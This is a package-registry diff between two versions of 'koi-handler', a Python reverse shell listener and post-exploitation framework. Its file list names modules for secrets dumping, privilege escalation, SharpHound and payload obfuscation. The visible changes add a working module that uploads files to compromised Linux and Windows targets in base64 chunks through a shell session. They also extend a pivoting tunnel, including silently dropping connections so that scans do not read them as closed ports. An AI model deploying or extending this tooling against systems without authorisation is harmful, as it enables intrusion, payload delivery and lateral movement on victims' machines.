koi-handler 0.11.0__tar.gz → 0.11.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (65) hide show
  1. {koi_handler-0.11.0/src/koi_handler.egg-info → koi_handler-0.11.2}/PKG-INFO +1 -1
  2. {koi_handler-0.11.0 → koi_handler-0.11.2}/pyproject.toml +1 -1
  3. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/listener.py +43 -14
  4. koi_handler-0.11.2/src/koi/modules/upload64.py +210 -0
  5. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/agent.py +2 -1
  6. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/packet.py +5 -2
  7. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/stack.py +48 -3
  8. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/manager.py +20 -1
  9. {koi_handler-0.11.0 → koi_handler-0.11.2/src/koi_handler.egg-info}/PKG-INFO +1 -1
  10. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi_handler.egg-info/SOURCES.txt +1 -0
  11. {koi_handler-0.11.0 → koi_handler-0.11.2}/LICENSE +0 -0
  12. {koi_handler-0.11.0 → koi_handler-0.11.2}/setup.cfg +0 -0
  13. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/main.py +0 -0
  14. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/mcp/__init__.py +0 -0
  15. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/mcp/schema.py +0 -0
  16. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/mcp/server.py +0 -0
  17. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/blueprint.py +0 -0
  18. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/download.py +0 -0
  19. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/duplicate.py +0 -0
  20. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/env_dump.py +0 -0
  21. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/get_processes.py +0 -0
  22. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/get_users.py +0 -0
  23. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/ligolo.py +0 -0
  24. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/loader.py +0 -0
  25. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/network_enum.py +0 -0
  26. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/peas.py +0 -0
  27. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/populate_win.py +0 -0
  28. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/secrets_dump.py +0 -0
  29. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/sharphound.py +0 -0
  30. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/sysinfo.py +0 -0
  31. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/upload.py +0 -0
  32. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/wifi_enum.py +0 -0
  33. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/modules/winscalate.py +0 -0
  34. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/session.py +0 -0
  35. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/__init__.py +0 -0
  36. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/agent_payload.py +0 -0
  37. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/__init__.py +0 -0
  38. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/__main__.py +0 -0
  39. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/proxy.py +0 -0
  40. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/tcp.py +0 -0
  41. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/transport.py +0 -0
  42. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/tun.py +0 -0
  43. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/__init__.py +0 -0
  44. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/bash_obfuscate.py +0 -0
  45. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/cache.py +0 -0
  46. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/cli.py +0 -0
  47. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/config.py +0 -0
  48. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/connect/__init__.py +0 -0
  49. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/connect/base.py +0 -0
  50. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/connect/ssh.py +0 -0
  51. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/constants.py +0 -0
  52. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/detect.py +0 -0
  53. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/interact.py +0 -0
  54. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/logger.py +0 -0
  55. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/models.py +0 -0
  56. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/obfuscate_ui.py +0 -0
  57. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/payloads.py +0 -0
  58. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/powerupgrade.py +0 -0
  59. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/ps_obfuscate.py +0 -0
  60. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/tcp.py +0 -0
  61. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/utils/ui.py +0 -0
  62. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  63. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi_handler.egg-info/entry_points.txt +0 -0
  64. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi_handler.egg-info/requires.txt +0 -0
  65. {koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.11.0
3
+ Version: 0.11.2
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.11.0"
7
+ version = "0.11.2"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
10
  dependencies = [
@@ -2,6 +2,7 @@ from __future__ import annotations
2
2
 
3
3
  import os
4
4
  import re
5
+ import readline
5
6
  import select
6
7
  import shutil
7
8
  import signal
@@ -61,6 +62,32 @@ _CONNECT_POLL = 0.1
61
62
  # Never contacted: get_local_ip only reads the routing table for the source IP.
62
63
  _DEFAULT_ROUTE_PROBE = "1.1.1.1"
63
64
 
65
+ _RL_LIB_UNSET = object()
66
+ _rl_lib = _RL_LIB_UNSET
67
+
68
+
69
+ def _readline_lib():
70
+ # Python's readline module can't swap the prompt readline caches mid-input(),
71
+ # so reach into the live GNU libreadline for rl_set_prompt/rl_on_new_line.
72
+ global _rl_lib
73
+ if _rl_lib is not _RL_LIB_UNSET:
74
+ return _rl_lib
75
+ _rl_lib = None
76
+ try:
77
+ import ctypes
78
+ import ctypes.util
79
+ name = ctypes.util.find_library("readline")
80
+ if name and "GNU readline" in (readline.__doc__ or ""):
81
+ lib = ctypes.CDLL(name)
82
+ lib.rl_set_prompt.argtypes = [ctypes.c_char_p]
83
+ lib.rl_set_prompt.restype = ctypes.c_int
84
+ lib.rl_on_new_line.restype = ctypes.c_int
85
+ lib.rl_redisplay.restype = None
86
+ _rl_lib = lib
87
+ except Exception:
88
+ _rl_lib = None
89
+ return _rl_lib
90
+
64
91
 
65
92
  class _MaskBinary:
66
93
  def __init__(self, real, check):
@@ -107,7 +134,6 @@ class Listener:
107
134
  self._id_lock = threading.Lock()
108
135
  self._running = False
109
136
  self._server_sock: Optional[socket.socket] = None
110
- self._notify_r, self._notify_w = os.pipe()
111
137
  self._in_session = False
112
138
  self._pending_notifications: list = []
113
139
  self._notif_lock = threading.Lock()
@@ -198,7 +224,6 @@ class Listener:
198
224
  except OSError as exc:
199
225
  if not self._running:
200
226
  break
201
- os.write(self._notify_w, b"1\n")
202
227
  self._announce('error', f"Accept loop error, retrying: {exc}")
203
228
  time.sleep(0.5)
204
229
  continue
@@ -240,7 +265,6 @@ class Listener:
240
265
  os_tag = f" {muted('[')}{sess.os_label()}{muted(']')}" if sess.os_type else ""
241
266
  masked_ip = self._mask_ip(sess.addr[0])
242
267
  msg = f"{bold(plain(f'#{sess.id}'))} {plain(masked_ip)}{muted(f':{sess.addr[1]}')}{os_tag}"
243
- os.write(self._notify_w, b"1\n")
244
268
  self._announce('new', msg)
245
269
 
246
270
  def _queue_notification(self, msg_type: str, text: str) -> None:
@@ -248,7 +272,10 @@ class Listener:
248
272
  self._pending_notifications.append((msg_type, text))
249
273
 
250
274
  def _announce(self, msg_type: str, text: str, at_prompt: bool = True) -> None:
251
- # Redraw prompt+buffer by hand: readline's redisplay() must not run from a background thread.
275
+ # The notice takes the current line and its newline frees the one below;
276
+ # we redraw the prompt there with the *fresh* session count. rl_set_prompt
277
+ # makes readline adopt that prompt so a later keypress doesn't repaint the
278
+ # stale one; rl_on_new_line resyncs its cursor after the notice scrolled up.
252
279
  if self._in_session:
253
280
  self._queue_notification(msg_type, text)
254
281
  return
@@ -257,13 +284,20 @@ class Listener:
257
284
  notify(msg_type, text)
258
285
  return
259
286
 
260
- import readline as _rl
261
287
  with self._term_lock:
262
- buf = _rl.get_line_buffer()
288
+ prompt = self._prompt()
263
289
  sys.stdout.write("\r\033[K")
264
290
  notify(msg_type, text)
265
- sys.stdout.write(self._prompt() + buf)
266
291
  sys.stdout.flush()
292
+ lib = _readline_lib()
293
+ if lib is not None:
294
+ lib.rl_set_prompt(prompt.encode())
295
+ lib.rl_on_new_line()
296
+ lib.rl_redisplay()
297
+ else:
298
+ visible = prompt.replace("\001", "").replace("\002", "")
299
+ sys.stdout.write(visible + readline.get_line_buffer())
300
+ sys.stdout.flush()
267
301
 
268
302
  def start(self):
269
303
  self._server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -346,17 +380,13 @@ class Listener:
346
380
  _ctrlc = 0
347
381
  while self._running:
348
382
  try:
349
- r, _, _ = select.select([self._notify_r], [], [], 0)
350
- if r:
351
- os.read(self._notify_r, 4096)
352
383
  raw = input(self._prompt()).strip()
353
384
  self._flush_pending_notifications()
354
385
  _ctrlc = 0
355
386
  except EOFError:
356
387
  break
357
388
  except KeyboardInterrupt:
358
- import readline as _rl
359
- had_text = bool(_rl.get_line_buffer().strip())
389
+ had_text = bool(readline.get_line_buffer().strip())
360
390
  print()
361
391
  self._flush_pending_notifications()
362
392
  if had_text:
@@ -538,9 +568,8 @@ class Listener:
538
568
 
539
569
  @staticmethod
540
570
  def _scrub_last_history() -> None:
541
- import readline as _rl
542
571
  try:
543
- _rl.remove_history_item(_rl.get_current_history_length() - 1)
572
+ readline.remove_history_item(readline.get_current_history_length() - 1)
544
573
  except Exception:
545
574
  pass
546
575
 
@@ -0,0 +1,210 @@
1
+ from __future__ import annotations
2
+
3
+ import base64
4
+ import os
5
+
6
+ from koi.modules.blueprint import KoiModule
7
+ from koi.utils.config import TIMEOUTS
8
+
9
+ _DEFAULT_CHUNK = 49152
10
+
11
+
12
+ class Upload64Module(KoiModule):
13
+ name = "upload64"
14
+ description = "Upload a file via base64 chunks (for restricted shells)."
15
+ usage = "upload64 <id> <local_path> [-o <remote_path>] [-c <chunk_size>]"
16
+ category = "File transfer"
17
+ platform = ["linux", "windows_ps", "windows_cmd"]
18
+ arguments = [
19
+ {"flags": ["local_path"], "help": "Local file to upload"},
20
+ {"flags": ["-o", "--output"], "default": None,
21
+ "help": "Remote destination path"},
22
+ {"flags": ["-c", "--chunk-size"], "type": int, "default": _DEFAULT_CHUNK,
23
+ "help": f"Base64 bytes per command (default: {_DEFAULT_CHUNK})"},
24
+ ]
25
+
26
+ def run(self) -> None:
27
+ local_path = self.args.local_path.rstrip("/\\")
28
+ chunk_size = self.args.chunk_size
29
+
30
+ if chunk_size <= 0:
31
+ self.err("Chunk size must be positive.")
32
+ return
33
+
34
+ if not os.path.isfile(local_path):
35
+ self.err(f"Local file not found: {local_path}")
36
+ return
37
+
38
+ with open(local_path, "rb") as f:
39
+ raw = f.read()
40
+
41
+ total = len(raw)
42
+ b64 = base64.b64encode(raw).decode("ascii")
43
+ basename = os.path.basename(local_path)
44
+ os_type = self.session.os_type
45
+
46
+ if self.args.output:
47
+ remote_dest = self.args.output
48
+ elif os_type == "linux":
49
+ remote_dest = f"./{basename}"
50
+ else:
51
+ remote_dest = f".\\{basename}"
52
+
53
+ chunks = [b64[i:i + chunk_size] for i in range(0, len(b64), chunk_size)]
54
+
55
+ self.status(
56
+ f"Uploading {basename} via base64 "
57
+ f"({total:,} bytes, {len(chunks)} chunk(s))..."
58
+ )
59
+
60
+ if os_type == "linux":
61
+ self._upload_linux(chunks, remote_dest, total)
62
+ else:
63
+ self._upload_windows(chunks, remote_dest, total)
64
+
65
+ def _upload_linux(self, chunks, dest, expected_size):
66
+ tmp = f"/tmp/.koi_b64_{self.session.id}"
67
+ quoted_tmp = self._shell_quote(tmp)
68
+ quoted_dest = self._shell_quote(dest)
69
+ timeout = max(TIMEOUTS.get("upload", 30), 30)
70
+
71
+ self.exec(f"rm -f {quoted_tmp}", timeout=timeout)
72
+
73
+ bar = self.ui.ProgressBar(total=expected_size)
74
+ n = len(chunks)
75
+
76
+ for i, chunk in enumerate(chunks):
77
+ result = self.exec(
78
+ f"printf '%s' '{chunk}' >> {quoted_tmp}",
79
+ timeout=timeout,
80
+ )
81
+ if not result.success:
82
+ bar.done()
83
+ print()
84
+ self.err(f"Chunk {i + 1}/{n} failed (rc={result.returncode})")
85
+ self.exec(f"rm -f {quoted_tmp}", timeout=5)
86
+ return
87
+ bar.update(min(expected_size, expected_size * (i + 1) // n))
88
+
89
+ bar.done()
90
+ print()
91
+
92
+ with self.spinner("Decoding on target..."):
93
+ result = self.exec(
94
+ f"base64 -d {quoted_tmp} > {quoted_dest} && rm -f {quoted_tmp}",
95
+ timeout=timeout,
96
+ )
97
+
98
+ if not result.success:
99
+ self.err(
100
+ f"Decode failed (rc={result.returncode}): "
101
+ f"{result.stdout.strip()[:200]}"
102
+ )
103
+ self.exec(f"rm -f {quoted_tmp} {quoted_dest}", timeout=5)
104
+ return
105
+
106
+ size_str = self._try_exec(f"wc -c < {quoted_dest} 2>/dev/null")
107
+ try:
108
+ remote_size = int(size_str.split()[0])
109
+ except (ValueError, IndexError):
110
+ remote_size = None
111
+
112
+ if remote_size is not None and remote_size != expected_size:
113
+ self.err(
114
+ f"Size mismatch: expected {expected_size:,}, "
115
+ f"got {remote_size:,} on target"
116
+ )
117
+ return
118
+
119
+ self.box("Upload complete (base64)", {
120
+ "local path": os.path.abspath(self.args.local_path),
121
+ "remote path": dest,
122
+ "size": f"{expected_size:,} bytes ({expected_size / 1024:.1f} KB)",
123
+ "chunks": str(len(chunks)),
124
+ "verified": "yes" if remote_size == expected_size else "size unknown",
125
+ })
126
+
127
+ def _upload_windows(self, chunks, dest, expected_size):
128
+ ps_dest = self._ps_quote(dest)
129
+ tmp_name = f"koi_b64_{self.session.id}.txt"
130
+ timeout = max(TIMEOUTS.get("upload", 30), 30)
131
+
132
+ temp_dir = (
133
+ self._win_query("$env:TEMP", timeout=10).strip()
134
+ or "C:\\Windows\\Temp"
135
+ )
136
+ tmp = f"{temp_dir}\\{tmp_name}"
137
+ ps_tmp = self._ps_quote(tmp)
138
+
139
+ self._win_query(
140
+ f"Remove-Item '{ps_tmp}' -EA SilentlyContinue", timeout=5,
141
+ )
142
+
143
+ bar = self.ui.ProgressBar(total=expected_size)
144
+ n = len(chunks)
145
+
146
+ for i, chunk in enumerate(chunks):
147
+ result_raw = self._win_query(
148
+ f"[IO.File]::AppendAllText('{ps_tmp}','{chunk}');'ok'",
149
+ timeout=timeout,
150
+ )
151
+ if "ok" not in result_raw.lower():
152
+ bar.done()
153
+ print()
154
+ self.err(f"Chunk {i + 1}/{n} failed")
155
+ self._win_query(
156
+ f"Remove-Item '{ps_tmp}' -EA SilentlyContinue", timeout=5,
157
+ )
158
+ return
159
+ bar.update(min(expected_size, expected_size * (i + 1) // n))
160
+
161
+ bar.done()
162
+ print()
163
+
164
+ resolved = (
165
+ "$ExecutionContext.SessionState.Path."
166
+ f"GetUnresolvedProviderPathFromPSPath('{ps_dest}')"
167
+ )
168
+ with self.spinner("Decoding on target..."):
169
+ result_raw = self._win_query(
170
+ f"try{{"
171
+ f"$_b=[Convert]::FromBase64String("
172
+ f"(Get-Content '{ps_tmp}' -Raw));"
173
+ f"[IO.File]::WriteAllBytes({resolved},$_b);"
174
+ f"Remove-Item '{ps_tmp}' -EA SilentlyContinue;"
175
+ f"'ok'"
176
+ f"}}catch{{'err:'+$_.Exception.Message}}",
177
+ timeout=timeout,
178
+ ).strip()
179
+
180
+ if result_raw.startswith("err:"):
181
+ self.err(f"Decode failed: {result_raw[4:120]}")
182
+ self._win_query(
183
+ f"Remove-Item '{ps_tmp}' -EA SilentlyContinue", timeout=5,
184
+ )
185
+ return
186
+
187
+ size_str = self._win_query(
188
+ f"(Get-Item -LiteralPath ({resolved}) "
189
+ f"-EA SilentlyContinue).Length",
190
+ timeout=timeout,
191
+ )
192
+ try:
193
+ remote_size = int(size_str.strip())
194
+ except (ValueError, AttributeError):
195
+ remote_size = None
196
+
197
+ if remote_size is not None and remote_size != expected_size:
198
+ self.err(
199
+ f"Size mismatch: expected {expected_size:,}, "
200
+ f"got {remote_size:,} on target"
201
+ )
202
+ return
203
+
204
+ self.box("Upload complete (base64)", {
205
+ "local path": os.path.abspath(self.args.local_path),
206
+ "remote path": dest,
207
+ "size": f"{expected_size:,} bytes ({expected_size / 1024:.1f} KB)",
208
+ "chunks": str(len(chunks)),
209
+ "verified": "yes" if remote_size == expected_size else "size unknown",
210
+ })
@@ -3,7 +3,7 @@ from __future__ import annotations
3
3
  import asyncio
4
4
  import logging
5
5
 
6
- from .stack import Stack
6
+ from .stack import Stack, raise_fd_limit
7
7
  from .transport import Channel, client_context
8
8
 
9
9
  log = logging.getLogger("tunel.agent")
@@ -56,6 +56,7 @@ class Agent:
56
56
  self.channel = None
57
57
 
58
58
  async def run(self) -> None:
59
+ raise_fd_limit() # push the soft fd cap to the hard cap so the stack can hold many sockets
59
60
  attempts = 0
60
61
  while True:
61
62
  try:
@@ -285,7 +285,10 @@ def verify_checksum(data: bytes) -> bool:
285
285
 
286
286
 
287
287
  def verify_transport_checksum(ip: IPv4) -> bool:
288
- if ip.proto == PROTO_UDP and struct.unpack("!H", ip.payload[6:8])[0] == 0:
289
- return True
288
+ if ip.proto == PROTO_UDP:
289
+ if len(ip.payload) < UDP.HEADER_LEN:
290
+ return False # truncated UDP: reject rather than crash on the checksum field
291
+ if struct.unpack("!H", ip.payload[6:8])[0] == 0:
292
+ return True
290
293
  pseudo = _pseudo_header(ip.src, ip.dst, ip.proto, len(ip.payload))
291
294
  return checksum(pseudo + ip.payload) == 0
@@ -6,6 +6,11 @@ import socket
6
6
  import time
7
7
  from typing import Callable
8
8
 
9
+ try:
10
+ import resource
11
+ except ImportError:
12
+ resource = None
13
+
9
14
  from . import packet as P
10
15
  from .packet import ICMP, TCP, UDP, IPv4
11
16
  from .tcp import TCB, State
@@ -18,6 +23,32 @@ UDP_IDLE_TIMEOUT = 60.0
18
23
  CONNECT_TIMEOUT = 10.0
19
24
  TICK_INTERVAL = 0.1
20
25
 
26
+ FD_HEADROOM = 64
27
+ DEFAULT_MAX_CONNS = 8192
28
+
29
+
30
+ def raise_fd_limit() -> None:
31
+ if resource is None:
32
+ return
33
+ try:
34
+ soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE)
35
+ if soft < hard:
36
+ resource.setrlimit(resource.RLIMIT_NOFILE, (hard, hard))
37
+ except (ValueError, OSError):
38
+ pass
39
+
40
+
41
+ def _conn_budget() -> int:
42
+ if resource is None:
43
+ return DEFAULT_MAX_CONNS
44
+ try:
45
+ soft, _ = resource.getrlimit(resource.RLIMIT_NOFILE)
46
+ except (ValueError, OSError):
47
+ return DEFAULT_MAX_CONNS
48
+ if soft == resource.RLIM_INFINITY or soft <= 0:
49
+ return DEFAULT_MAX_CONNS
50
+ return max(64, soft - FD_HEADROOM)
51
+
21
52
 
22
53
  class TcpBridge:
23
54
 
@@ -189,14 +220,17 @@ class UdpBridge:
189
220
  if self.sock is not None:
190
221
  self.sock.close()
191
222
  self.sock = None
192
- self.stack.udp_flows.pop(self.key, None)
223
+ if self.stack.udp_flows.get(self.key) is self:
224
+ self.stack.udp_flows.pop(self.key, None)
193
225
 
194
226
 
195
227
  class Stack:
196
228
 
197
- def __init__(self, send_packet: Callable[[bytes], None], mtu: int = 1500):
229
+ def __init__(self, send_packet: Callable[[bytes], None], mtu: int = 1500,
230
+ max_conns: int | None = None):
198
231
  self.send_packet = send_packet
199
232
  self.mtu = mtu
233
+ self.max_conns = max_conns if max_conns is not None else _conn_budget()
200
234
  self.conns: dict[tuple, TcpBridge] = {}
201
235
  self.udp_flows: dict[tuple, UdpBridge] = {}
202
236
  self._ident = 0
@@ -259,6 +293,10 @@ class Stack:
259
293
  self._reject(ip, seg)
260
294
 
261
295
  def _open(self, ip: IPv4, seg: TCP, key: tuple) -> None:
296
+ if len(self.conns) + len(self.udp_flows) >= self.max_conns:
297
+ # at cap: drop the SYN silently (a RST reads as 'closed' to a scan); the client retransmits
298
+ log.debug("conn cap %d reached, dropping SYN %s:%d", self.max_conns, ip.src, seg.sport)
299
+ return
262
300
  tcb = TCB.accept(
263
301
  seg, laddr=ip.dst, raddr=ip.src,
264
302
  emit=self._emitter(ip.dst, ip.src), mtu=self.mtu,
@@ -278,7 +316,10 @@ class Stack:
278
316
  self.emit_ip(ip.dst, ip.src, P.PROTO_TCP, rst.build(ip.dst, ip.src))
279
317
 
280
318
  def forget(self, tcb: TCB) -> None:
281
- self.conns.pop((tcb.raddr, tcb.rport, tcb.laddr, tcb.lport), None)
319
+ key = (tcb.raddr, tcb.rport, tcb.laddr, tcb.lport)
320
+ bridge = self.conns.get(key)
321
+ if bridge is not None and bridge.tcb is tcb:
322
+ del self.conns[key]
282
323
 
283
324
  def _handle_udp(self, ip: IPv4) -> None:
284
325
  try:
@@ -293,6 +334,10 @@ class Stack:
293
334
  flow.send(dg.payload)
294
335
  return
295
336
 
337
+ if len(self.conns) + len(self.udp_flows) >= self.max_conns:
338
+ log.debug("conn cap %d reached, dropping UDP %s:%d", self.max_conns, ip.src, dg.sport)
339
+ return
340
+
296
341
  flow = UdpBridge(self, key, src=ip.src, sport=dg.sport, dst=ip.dst, dport=dg.dport)
297
342
  self.udp_flows[key] = flow
298
343
  flow.send(dg.payload)
@@ -118,7 +118,7 @@ class TunnelManager:
118
118
  with self._lock:
119
119
  index = self._alloc_index()
120
120
  tun = Tunnel(
121
- session_id=sid, index=index, tun_name=f"tunel{index}",
121
+ session_id=sid, index=index, tun_name=f"Koi{index}",
122
122
  address=f"240.0.{index}.1", port=_BASE_PORT + index,
123
123
  psk=secrets.token_urlsafe(24), routes=list(routes),
124
124
  callback_host=self._session_ip(sess),
@@ -221,6 +221,10 @@ class TunnelManager:
221
221
 
222
222
  self._kill_agent(tun)
223
223
 
224
+ deadline = time.time() + 2.0
225
+ while (tun.loop is None or tun.task is None) and tun.thread is not None \
226
+ and tun.thread.is_alive() and time.time() < deadline:
227
+ time.sleep(0.02)
224
228
  if tun.loop is not None and tun.task is not None:
225
229
  try:
226
230
  tun.loop.call_soon_threadsafe(tun.task.cancel)
@@ -337,8 +341,23 @@ class TunnelManager:
337
341
  notify('error', f" {desc} failed: {msg}")
338
342
  self._teardown_device(tun, password=password)
339
343
  return False
344
+ self._warn_shadowed_routes(tun)
340
345
  return True
341
346
 
347
+ def _warn_shadowed_routes(self, tun: Tunnel) -> None:
348
+ # a route add can hit "File exists" or be shadowed by a more specific local
349
+ # route; confirm each CIDR actually egresses via the tunnel and warn if not
350
+ for cidr in tun.routes:
351
+ try:
352
+ probe = str(ipaddress.ip_network(cidr, strict=False).network_address)
353
+ except ValueError:
354
+ continue
355
+ proc = subprocess.run(["ip", "route", "get", probe], text=True, capture_output=True)
356
+ if proc.returncode == 0 and f"dev {tun.tun_name}" not in proc.stdout:
357
+ notify('warning', f"Route {accent(cidr)} is shadowed by a local route; "
358
+ f"traffic won't enter the tunnel. Use a more specific prefix "
359
+ f"(a tighter /24, or the target /32).")
360
+
342
361
  def _spawn_proxy(self, tun: Tunnel) -> None:
343
362
  tun.proxy = Proxy(
344
363
  psk=tun.psk, tun_name=tun.tun_name, address=tun.address,
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.11.0
3
+ Version: 0.11.2
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -21,6 +21,7 @@ src/koi/modules/secrets_dump.py
21
21
  src/koi/modules/sharphound.py
22
22
  src/koi/modules/sysinfo.py
23
23
  src/koi/modules/upload.py
24
+ src/koi/modules/upload64.py
24
25
  src/koi/modules/wifi_enum.py
25
26
  src/koi/modules/winscalate.py
26
27
  src/koi/tunnel/__init__.py
File without changes
File without changes